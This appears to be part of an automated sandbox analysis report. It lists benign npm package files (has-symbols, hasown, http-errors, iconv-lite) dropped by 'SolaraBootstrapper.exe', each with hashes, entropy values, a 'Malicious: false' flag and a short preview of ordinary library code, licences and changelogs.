SHA-256:	F3B1BCD3C20ABDBD06C21E271BE5870994346F24290B94723B19030A88CDE2B8
SHA-512:	5E6AD1D147651DF35D0C9147BC868DBFF5CB3ADDB387C8EF0E18B6181FEB3CAC448147E85C644FB39D1D0B1AB950D09067C4E8A306F9D70F2A380851E3895BB4
Malicious:	false
Preview:	'use strict';..var test = require('tape');..if (typeof Symbol === 'function' && typeof Symbol() === 'symbol') {..test('has native Symbol support', function (t) {...t.equal(typeof Symbol, 'function');...t.equal(typeof Symbol(), 'symbol');...t.end();..});..return;.}..var hasSymbols = require('../../shams');..test('polyfilled Symbols', function (t) {../* eslint-disable global-require /..t.equal(hasSymbols(), false, 'hasSymbols is false before polyfilling');...require('get-own-property-symbols');...require('../tests')(t);...var hasSymbolsAfter = hasSymbols();..t.equal(hasSymbolsAfter, true, 'hasSymbols is true after polyfilling');../ eslint-enable global-require */..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\tests.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2021
Entropy (8bit):	5.021059245522034
Encrypted:	false
SSDEEP:	48:syTZJzHQY0GKLnI9nMxd6efY1e6neg7keHynrnQR:syrHQHGKLnI9Mxd6SY1lnj7kMynrnQR
MD5:	64A006D1CD5458A0E778A44381FE88D4
SHA1:	783E153627BAAB3A43CEEFB4B27A3EAACCF7D5E0
SHA-256:	26968E37F30A1B96F8480D11E06954D467F330FC690124A333E3B2D24934C5C7
SHA-512:	CE3C28B07D51CD3AE38DD9A02C31A53576AF8B5BE237002D662DFCCF85A3D93A2B0C1F5701700C6AEB87D7D6311EC17F680EC4AFE48EBEB282591B35C76AAD0C
Malicious:	false
Preview:	'use strict';..// eslint-disable-next-line consistent-return.module.exports = function runSymbolTests(t) {..t.equal(typeof Symbol, 'function', 'global Symbol is a function');...if (typeof Symbol !== 'function') { return false; }...t.notEqual(Symbol(), Symbol(), 'two symbols are not equal');.../..t.equal(...Symbol.prototype.toString.call(Symbol('foo')),...Symbol.prototype.toString.call(Symbol('foo')),...'two symbols with the same description stringify the same'..);../.../..var foo = Symbol('foo');...t.notEqual(...String(foo),...String(Symbol('bar')),...'two symbols with different descriptions do not stringify the same'..);../...t.equal(typeof Symbol.prototype.toString, 'function', 'Symbol#toString is a function');..// t.equal(String(foo), Symbol.prototype.toString.call(foo), 'Symbol#toString equals String of the same symbol');...t.equal(typeof Object.getOwnPropertySymbols, 'function', 'Object.getOwnPropertySymbols is a function');...var obj = {};..var sym = Symbol('test');..var symO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	552
Entropy (8bit):	4.6003535897442385
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGEplgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgYplg7g1GegJ9gEzgs
MD5:	FE4BF98C13D8175522E2720C9ECE34D3
SHA1:	E200DD96795DF9E612D66F98CB1BC9D845EA344F
SHA-256:	4A8AADC5BB4E3FCB59CED104864F1440A8A0B82C57D7A69EF3845223590039CC
SHA-512:	454E4459FE6121CB6A92A98D090614797B726E89A364BDFFAB5572FF619A31A7BFE2341E6CCF95E203F93E9A1C6345C9962D800646C8E248389958E0E2A98D6E
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/hasown.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2579
Entropy (8bit):	5.324426385991123
Encrypted:	false
SSDEEP:	48:E5yEpNRtEn2h5YBR6DlPHIb7Gd+kXoNaNWVtGy1Q:E5yEvb7pDlv+7A+kXlUtNQ
MD5:	BDCF700BEA58C1524DC1A503391A47C6
SHA1:	34338CEA11A019FFD5F86739ADF9CC275B310775
SHA-256:	9E4F7FD1854E2DCE08E3587AC7B8B40C191987D6C4FD71E20139D39E80E3E430
SHA-512:	AA4A275D9D136B3478EC644524E7514A17B545017376F5ADA9E93BC46C8D8094B11A32D510D5D2A28B12180E11B2755F60AB0D0756C997F4A01208BFCC75BD05
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v2.0.2](https://github.com/inspect-js/hasOwn/compare/v2.0.1...v2.0.2) - 2024-03-10..### Commits..- [types] use shared config [`68e9d4d`](https://github.com/inspect-js/hasOwn/commit/68e9d4dab6facb4f05f02c6baea94a3f2a4e44b2).- [actions] remove redundant finisher; use reusable workflow [`241a68e`](https://github.com/inspect-js/hasOwn/commit/241a68e13ea1fe52bec5ba7f74144befc31fae7b).- [Tests] increase coverage [`4125c0d`](https://github.com/inspect-js/hasOwn/commit/4125c0d6121db56ae30e38346dfb0c000b04f0a7).- [Tests] skip `npm ls` in old node due to TS [`01b9282`](https://github.com/inspect-js/hasOwn/commit/01b92822f9971dea031eafdd14767df41d61c202).- [types] improve predicate type [`d340f85`](https://github.com/inspect-js/hasOwn/commit/d34

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.078342100284353
Encrypted:	false
SSDEEP:	24:vlrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:9aJHlxE3dQHOs5exm3ogFh
MD5:	19283EE92F78C91154834571C1F05A94
SHA1:	ACBFF97B52A807A3661247328DC45DF636D7B8F7
SHA-256:	BF9B0D665BE2A689851EEA667CA9F42066EA1D903B38349C51E6A44B2577680A
SHA-512:	22369CC02AF1D2A345A70A415DE9E690F3F14AD6567F216924BF05DCF01DBBDE7C6B3A08CF87D5EDF1CA3B5A793D504E532F3A7C828964E97024334135B57369
Malicious:	false
Preview:	MIT License..Copyright (c) Jordan Harband and contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	5.067385981569244
Encrypted:	false
SSDEEP:	24:jdn1eI4IjAoqSmPgM1G9S33k74bbJC1r/YAIio/s2ld9ceIJ1heIdsIjvPyv:11eI4I7qLPOZGsVY9IL0IOIWv
MD5:	FEE8DA12ADD9E228E0E81304B4E93FFD
SHA1:	341069A2CCAB6194188C560CC01648E9B550BB69
SHA-256:	A922AB2A0ABCDCBD99C1484C7BD83D69A04B5E11AB53064D2C9AA557DF1C52B4
SHA-512:	05351A85DB9148DCF600385BDA6FEAA1EEEEFF27E9EAF4175914B4C4CCDD1BF23EB9E3DD42E751EE6479127E55EA59A599BF674D3DF0167F1CC8797681EB7842
Malicious:	false
Preview:	# hasown <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A robust, ES3 compatible, "has own property" predicate...## Example..```js.const assert = require('assert');.const hasOwn = require('hasown');..assert.equal(hasOwn({}, 'toString'), false);.assert.equal(hasOwn([], 'length'), true);.assert.equal(hasOwn({ a: 42 }, 'a'), true);.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: https://npmjs.org/package/hasown.[npm-version-svg]: https://versionbadg.es/inspect-js/hasown.svg.[deps-svg]: https://david-dm.org/inspect-js/hasOwn.svg.[deps-url]: https://david-dm.org/inspect-js/hasOwn.[dev-deps-svg]: https://david-dm.org/inspect-js/hasOwn/dev-status.svg.[dev-deps-url]: https://david-dm.org/inspect-js/hasOwn#info=devDependenc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.674932235191531
Encrypted:	false
SSDEEP:	3:nPXTLQxdRALbMa5bWySDqTAd/uJfVKBi0Wq4w:bvLAa5nGq1VQiyj
MD5:	D479F40517E58A21B3E6BE1D00315536
SHA1:	4A613A88E7DE9852BCCD927113424452BAFA9F69
SHA-256:	19BCD679CC9CB312683BF10390A1AADB929AF6439B33EB60F06119EE2D702761
SHA-512:	82DFB875AF75B81793214D56A3FB5DE844B792A7FCCDDCBD1AFF424062E6DE03075974110A86EB7EC66EC4CDB8C4DD87123847CD8381F69A0C117AC6F5B7E25F
Malicious:	false
Preview:	declare function hasOwn<O, K extends PropertyKey, V = unknown>(o: O, p: K): o is O & Record<K, V>;..export = hasOwn;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.963435694280913
Encrypted:	false
SSDEEP:	6:QibKXKHqL37T5KHqLWt8Zs3VZqdq0f3rVWKfzB0LTtTpFFj:3KXV3fIQvszapf3vfzBSTxj
MD5:	58E3B71AE6D84D4371DD90900B2B7F01
SHA1:	668857F7A7F36A0F7B80C8B6992B543819CE3A82
SHA-256:	8F875520F41A3D711566013882AF290C840969316CC72CD6B35F7E81D7DFC6D2
SHA-512:	EB7604A0E466510225596E59B1E208AD02117EBFD5EB5A933462E3A65365CA255E43EB803C405F266A3C56938C3D25F2E86A393DB3115BFB626E3DD93E1EB150
Malicious:	false
Preview:	'use strict';..var call = Function.prototype.call;.var $hasOwn = Object.prototype.hasOwnProperty;.var bind = require('function-bind');../** @type {import('.')} */.module.exports = bind.call(call, $hasOwn);.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	5.113052557902681
Encrypted:	false
SSDEEP:	48:TukRYCgxUPagS4j0f+yRYsEg4ZYx2Tw234sz4PvC4dmeSowVH:YCgq4s3ZYx2Tw23424Oe6H
MD5:	E1B6E64CEA1F71881FABB0759BAC0D43
SHA1:	2AAB9E964E19EDF340C8E8978D9BD7EACD6BFC4E
SHA-256:	E96D24E4DCEC86A4F769F41174B1CC79F70B4AB77B83AAC4DFE646242BF76ABB
SHA-512:	AE04DB7B3F1A5DD292F2B064B5D5E8265ED2C9D82FBB1FCE88393D983D5C2BA6743F7FA087E7DDFD1A8F14C8D518CB64A93193D5EDC4A1C15475834A3C1DC630
Malicious:	false
Preview:	{.."name": "hasown",.."version": "2.0.2",.."description": "A robust, ES3 compatible, \"has own property\" predicate.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."types": "index.d.ts",.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tsc": "tsc -p .",..."posttsc": "attw -P",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.41518243529598
Encrypted:	false
SSDEEP:	3:3Tx+HNNMgv/YGeifEeKTzHJdhvn:DUDMgv/YGeiMeIrJd5n
MD5:	5847303E067654A0B80F57E167D826B6
SHA1:	C50B6B712C9B6393C8B7E0DF8D669B0DE384A6F8
SHA-256:	29EF530207266F2859676C048073E7F746DB37A0A20E2A75BC2EF2B3893FBF40
SHA-512:	78FFB68B7EEC279C103F4FB7268AAEAB6BAF2F5D7F04A4C86C04DA09541BDB2704FEECC7E31CEAE574091A72DB4EA085052879C0DB2881C25723DC323DF4F4CA
Malicious:	false
Preview:	{. "extends": "@ljharb/tsconfig",. "exclude": [. "coverage",. ],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3973
Entropy (8bit):	4.805304860089398
Encrypted:	false
SSDEEP:	48:HkFw1efvGtc/KUgNbYpX/tz7cRWJfYRgoTDRZktIduWmQdgelPsWJRoQRoN0Gbwl:ETHCFCz7GdgHyuSgelPBoCoPrj4Q6J
MD5:	4D62E58CC4E54263B774E9FEBB8695C9
SHA1:	207589588EDC19ECC77ACDBCA005C7F4DBB5A44E
SHA-256:	990FF24AB4CD1EBF895F185934FC5E15C093AAD29DB8E1F0DB6CB678422EDAEB
SHA-512:	877493F1FF2984298922777D33A16DA77ADD93064EE78F61925205EC4ADD5CDFACA26297C8158C9A704E70AA01D468BD9E001D5E0075FA18D1A60C3527EED4B0
Malicious:	false
Preview:	2.0.0 / 2021-12-17.==================.. * Drop support for Node.js 0.6. * Remove `I'mateapot` export; use `ImATeapot` instead. * Remove support for status being non-first argument. * Rename `UnorderedCollection` constructor to `TooEarly`. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: statuses@2.0.1. - Fix messaging casing of `418 I'm a Teapot`. - Remove code 306. - Rename `425 Unordered Collection` to standard `425 Too Early`..2021-11-14 / 1.8.1.==================.. * deps: toidentifier@1.0.1..2020-06-29 / 1.8.0.==================.. * Add `isHttpError` export to determine if value is an HTTP error. * deps: setprototypeof@1.2.0..2019-06-24 / 1.7.3.==================.. * deps: inherits@2.0.4..2019-02-18 / 1.7.2.==================.. * deps: setprototypeof@1.1.1..2018-09-08 / 1.7.1.==================.. * Fix error creating objects in some environments..2018-07-3

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	5.154750329213657
Encrypted:	false
SSDEEP:	24:8FMp9rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMp9aJHlxE35QHOs5exm3ogF5n
MD5:	607209623ABFCC77B9098F71A0EF52F9
SHA1:	20AD45BD29ECB3CC6F38A08A27EB09C7B74A1F6D
SHA-256:	DCB94FF9B1E037A847BC20589DC81A1066D041FD4C16DEB18B0FA968C66CF395
SHA-512:	225048FDE7057C55AC4DFB5DAF8A5C42890A2580443993A1656DB80720311B83501242164654146D71D028F3BBA8AB2716296FD7A6DEC1FC49F1B371A8D613E5
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com.Copyright (c) 2016 Douglas Christopher Wilson doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5962
Entropy (8bit):	4.7551430930121255
Encrypted:	false
SSDEEP:	96:aHo15NuNhRYr1ZNx9UHuDBUM+3cUZzm128SH4mVoP1IINtyXSt9JeHW2z:aHY7r1l9UHuDBUM+3ckm1pPIiUidfo
MD5:	F111CD1BB6B0E560A936C4B00A9C3CE4
SHA1:	35F8D40FB24E822B5CFBC829E5A3FA0E5F90AE3C
SHA-256:	EC2D7A200D4ADF39EBFA7E29F1FB1F45DFB34EC8FE040428F83AA5DAD8948C57
SHA-512:	27493DD888F009F52E6E926D4D9B80F162F50C11534D771F0966D9C9C875FC5738540ADF24DBC0A3E81C7FC248BCC88F10815CBD7308E85360C6B1273CE5EC34
Malicious:	false
Preview:	# http-errors..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][node-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create HTTP errors for Express, Koa, Connect, etc. with ease...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```console.$ npm install http-errors.```..## Example..```js.var createError = require('http-errors').var express = require('express').var app = express()..app.use(function (req, res, next) {. if (!req.user) return next(createError(401, 'Please login to view this page.')). next().}).```..## API..This is the current API, currently extracted from Koa and subject to change...### Error Properties..- `expose` - can be used to signal if `messa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6391
Entropy (8bit):	4.675207843615285
Encrypted:	false
SSDEEP:	192:aQqVdCvgJsEhejmmXs10bxnOdZEhEwl0bxnOp0tOfgt:aQqbCvgJsUkG09nd09ncfa
MD5:	213C0887ADDECC762964DB8CE2030F2F
SHA1:	B8F60A860443B05A62EB6C4EC1C300F1945886F1
SHA-256:	0F484A62F0587E00002F3FD194B1ACA9BCDD1881FCB3250E98B5AC17DF7DD1FD
SHA-512:	D9BB2399C659AF3F9E08763B69119BFF9EEE985EE6DC7185BAF85D59405FCAF765A808FB998553290419B2CF4794543A6FD4517BF338ACDA83F313DA62423150
Malicious:	false
Preview:	/!. http-errors. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var deprecate = require('depd')('http-errors').var setPrototypeOf = require('setprototypeof').var statuses = require('statuses').var inherits = require('inherits').var toIdentifier = require('toidentifier')../. Module exports.. * @public. /..module.exports = createError.module.exports.HttpError = createHttpErrorConstructor().module.exports.isHttpError = createIsHttpErrorFunction(module.exports.HttpError)..// Populate exports for all constructors.populateConstructorExports(module.exports, statuses.codes, module.exports.HttpError)../. Get the code class of a status code.. * @private. /..function codeClass (status) {. return Number(String(status).charAt(0) + '00').}../. Create a new HTTP Error.. . @returns {Error}. * @public. */..function createError () {. // so much arity going on ~_~. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	4.822073227311272
Encrypted:	false
SSDEEP:	24:7D13bYxL+PnDqb0YuNCeRIZBlWi2nfrRQWeLl105P6sKeu:753bGL+PDqYYuNCeRIzUbzje70yeu
MD5:	F44E01D2E815367806C58207AC92A5FC
SHA1:	BCB1768525F7F5E1AF75C272867BFED66DD983C7
SHA-256:	DDA88273810EC9E624BF08D4815CB6AA4007135BF98CE11706D2E1B2F2A6690A
SHA-512:	B8B523CEFE68FC2F4E55AB656F024557DA925360AF9E5ADF9143AE55F7E93E7AD3FE95E7809FD0F7406B500A525C777329EFCE219CFCD0E88B73376D098C08AB
Malicious:	false
Preview:	{. "name": "http-errors",. "description": "Create HTTP error objects",. "version": "2.0.0",. "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "contributors": [. "Alan Plum <me@pluma.io>",. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "jshttp/http-errors",. "dependencies": {. "depd": "2.0.0",. "inherits": "2.0.4",. "setprototypeof": "1.2.0",. "statuses": "2.0.1",. "toidentifier": "1.0.1". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint . && node ./scripts/lint-readme-list.js",. "test": "mocha --reporter spec --bail",. "test-ci": "ny

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\Changelog.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4342
Entropy (8bit):	5.045844904342997
Encrypted:	false
SSDEEP:	96:AbEHL1ml81arHep4pvo+hjtKIIiT5iGAVzH3o0gNSUaLHQjn/8XKTTSydn:AbEHL+8sHbpvo+eIIw5ivVzH4nN0QDEw
MD5:	11F7C1FC239799DED47D06C8ABD91B9B
SHA1:	DBB28CEBB8AC5C1472D03DF37F937CCAC610BCC3
SHA-256:	0C7C66F8F39354E7B15C4431A95C2BCD40941F9AE8D666EFA8F17AFB97B87C82
SHA-512:	BFFEDAFF4F73D29F4E757C3C1990D0F837A34CD96244F0B6D6B34171B26E507B5BCC62D46AA7A2CD8BB823A99E561136954E5E4020B525A81351A4AF2C2E3337
Malicious:	false
Preview:	# 0.4.24 / 2018-08-22.. * Added MIK encoding (#196, by @Ivan-Kalatchev)...# 0.4.23 / 2018-05-07.. * Fix deprecation warning in Node v10 due to the last usage of `new Buffer` (#185, by @felixbuenemann). * Switched from NodeBuffer to Buffer in typings (#155 by @felixfbecker, #186 by @larssn)...# 0.4.22 / 2018-05-05.. * Use older semver style for dependencies to be compatible with Node version 0.10 (#182, by @dougwilson). * Fix tests to accomodate fixes in Node v10 (#182, by @dougwilson)...# 0.4.21 / 2018-04-06.. * Fix encoding canonicalization (#156). * Fix the paths in the "browser" field in package.json (#174 by @LMLB). * Removed "contributors" section in package.json - see Git history instead....# 0.4.20 / 2018-04-06.. * Updated `new Buffer()` usages with recommended replacements as it's being deprecated in Node v10 (#176, #178 by @ChALkeR)...# 0.4.19 / 2017-09-09.. * Fixed iso8859-1 codec regression in handling untranslatable characters (#162, caused by #147). * Re-generat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	5.109065218676079
Encrypted:	false
SSDEEP:	24:ciJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFz:ciJzfPvGt7ICQH+sfIte36AFz
MD5:	F942263D98F0D75E0E0101884E86261D
SHA1:	4F3CA49A793F6BB8465A3731FD965A128757B8CE
SHA-256:	AC779F7314C74F232EF847EA86E714ABE25CF6EEB5CC97B69451B74E2AF6492D
SHA-512:	B500B93AE948BE0023297CCD98873B4B8C8A73798326B865EB8D01812F8C22551BF44EADFEEC2ADE17D4AA94BBFBA4A9B456D9737BC7A56ED6D1F913C52613EC
Malicious:	false
Preview:	Copyright (c) 2011 Alexander Shtuchkin..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION.W

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6534
Entropy (8bit):	5.202264136813618
Encrypted:	false
SSDEEP:	192:jwHaE9jXsiMXsNyHSc18hbhj550/LIO83:nEFXsxRSxg/k3
MD5:	011C8D9193893A9AA6AB12469E808399
SHA1:	8069BC17BDD2FA876E304BAEB37BA82A5046ABC8
SHA-256:	A417C996CEB04E8DBACA5D18187820AFE34CE5105FFD4B7C3EF3C5BEAE298EBA
SHA-512:	D51464C7D3ACA03209411D72F0390EE31732F8CB849CCF08A2379F899768B8A788C11C81A271205FDD3F3D01A9726514935E4096EF6AC252BB5B5CEDAAD192E1
Malicious:	false
